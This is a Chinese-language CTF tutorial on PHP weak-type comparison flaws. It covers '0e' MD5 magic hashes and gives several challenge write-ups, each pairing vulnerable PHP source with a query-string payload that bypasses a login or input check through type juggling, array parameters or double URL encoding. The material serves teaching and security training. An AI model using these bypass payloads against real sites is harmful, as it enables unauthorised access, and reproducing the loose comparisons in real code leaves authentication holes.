php比较2个值是否相等可以用“==”或“===”,“==”会在比较时自动转换类型而不改变原来的值,因此这个符号经常出现漏洞。“==”比较相等的一些常见值如下,当某些语句的判断条件是使用“==”来判断时,就可以使用弱类型来替代。值得一提的是“0e”开头的哈希字符串,php在处理哈希字符串时会把每个以“0e”开头的哈希值都解释为0。
'' == 0 == false '123' == 123 'abc' == 0 '123a' == 123 '0x01' == 1 '0e12346789' == '0e987654321' [false] == [0] == [NULL] == [''] NULL == false == 0 true == 1
如果遇到了“===”则不会进行类型转换,但也并不代表无从下手。如果条件表达式中含有函数,也可以通过传入数组让函数返回NULL使得条件满足。
MD5信息摘要算法是一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值用于确保信息传输完整一致。而PHP在处理哈希字符串时,“0e”开头的值利用“==”判断相等时会被视为0.所以如果两个不同的密码经过哈希以后,其哈希值都是以“0e”开头的,那么PHP将会认为他们相同,这就是所谓的MD5碰撞漏洞。如果数据库中存在这种哈希值以“0e”开头的密码的话,就可以以这个用户的身份轻易地登录进去。
常见的MD5碰撞有:
MD5 | 原值 |
---|---|
0e830400451993494058024219903391 | QNKCDZO |
0e545993274517709034328855841020 | s878926199a |
0e342768416822451524974117254469 | s155964671a |
0e848240448830537924465865611904 | s214587387a |
0e848240448830537924465865611904 | s214587387a |
0e545993274517709034328855841020 | s878926199a |
打开网页,看到一段PHP代码:
$num=$_GET['num']; if(!is_numeric($num)) { echo $num; if($num==1) echo 'flag{**********}'; }
代码首先用get方法读取一个变量num,为了使flag显示,需要运行代码“echo 'flag{**********}';”。此时需要两个if语句都成立,第一个if语句需要用is_numeric()判断变量是否是数字,是数字返回真。判断第二个if语句要用“==”判断变量是否等于1.要使得一个变量值等于1且不是数字,这真是件矛盾的事情,不过通过一个弱类型的变量就能解出来。
payload:?num=1abc
打开题目,看到一段 PHP 代码。这段代码需要用 get 方法接收 2 个变量,其中第一个变量 a 需要判断是否为数字 0,而且直接判断 a 要为真,第二个变量 b 需要不是一个数字,并且数值大于 1234。
<?php show_source(__FILE__); include("config.php"); $a=@$_GET['a']; $b=@$_GET['b']; if($a==0 and $a){ echo $flag1; } if(is_numeric($b)){ exit(); } if($b>1234){ echo $flag2; } ?>
很明显又是一个弱类型,此时可以根据需求构造payload,提交获得flag。
payload:?a=abc&b=1235a
题目的源码如下,需要传入一个字符串变量 password,返回 flag 的条件是 password 的值和 number 变量的值相等。但是在判断两个变量是否相等之前,代码要先遍历 password 字符串,如果字符串中的字符转换为 ASCII 在 0 ~ 9 之间就会返回错误。
<?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag{test}'; $one = ord('1'); //ord — 返回字符的 ASCII 码值 $nine = ord('9'); //ord — 返回字符的 ASCII 码值 $number = '3735929054'; // Check all the input characters! for ($i = 0; $i < strlen($number); $i++) { // Disallow all the digits! $digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { // Aha, digit not allowed! return "flase"; } } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); ?>
注意到判断变量使用的是 “==”,这又是熟悉的弱类型,只要 password 的数值和 number 一样,可以使用其他进制来替换。因此传入的 password 应该是 “3735929054” 其他进制的表示,结合题意应该是十六进制(注意十六进制以 0x 开头):
payload:?password=0xdeadc0de
题目的源码如下,首先注意到第一个分支语句使用了 ereg() 函数,该函数用于搜索一个字符串中指定的字符串。分析一下 ereg() 函数中的第一个参数,方括号表示字符集,匹配大小写字母和数字其中一个字符,^ 表示字符串开始,$ 表示字符串结束,+ 号表示重复 1 到多次,整个表达式表示匹配由多个数字大小字母组成的字符串。第二个分支中使用了 strpos() 函数,该函数用于查找字符串在另一字符串中第一次出现的位置(区分大小写)。因此传入的 password 应该满足以数字或者字母开头,且必须在 password 参数中找到 “--”。
<?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else echo 'Invalid password'; } ?>
不过聪明的做法是传个 “password[]” 数组进去,因为 ereg 和 strpos 函数都只能处理字符,传入数组是返回的是 NULL。三个等号的时候不会触发弱类型,所以 NULL 不等于 false 满足条件。构造出 payload 提交:
payload:?password[]=0
题目的源码如下,首先题目需要输入变量 id,且变量 id 不能包含字符串 “hackerDJ”。接着使用 urldecode() 函数进行 url 解码,需要令解码后的字符串等于 “hackerDJ”。
<?php if(eregi("hackerDJ",$_GET[id])) { echo("not allowed!"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ"){ echo "Access granted!"; echo "flag"; } ?>
在 URL 编辑框中可以使用 URL-encode 来替代字符,例如 “h” 的 URL 编码是 “%68”,此时输入 “%68ackerDJ” 等同于输入 “hackerDJ”。由于源码会使用 urldecode() 函数进行 url 解码,因此可以对 “%68ackerDJ” 进行 url 编码,让传入的字符串通过第一个条件语句,在解码之后通过第二个分支语句。所以提交的 payload 应该是 “%68ackerDJ” 的 URL 编码。
?id = %2568ackerDJ
题目的源码如下,首先注意到第一个分支语句,如果 username 和 password 2 个变量相等会导致无法获得 flag。但是第二个分支条件又要求 username 变量和 password 变量经过 md5() 函数加密的结果相同。
<?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?>
注意此时遇到的是 “===” ,不过也不是代表无从下手。在 md5() 函数传入数组时会报错返回 NULL,当 2 个变量都导致报错返回 NULL 时就能使使得条件成立。构造出 payload 提交:
?username[]=1&password[]=0
题目的源码如下,我们需要传入一个变量 “a”,这个变量 a 的要求是经过 md5 加密之后和 “QNKCDZO” 的加密结果相同。
<?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "flag{*}"; } else { echo "false!!!"; } } else{echo "please input a";} ?>
“QNKCDZO” md5 加密结果为 “0E830400451993494058024219903391”,注意这是个 “0e” 开头的值,利用 “==” 判断相等时会被视为 0。因此现在需要传入的是另一个字符串,该字符串的 md5 加密后的字符串也是 0e 开头的即可。
payload:?a=s1885207154a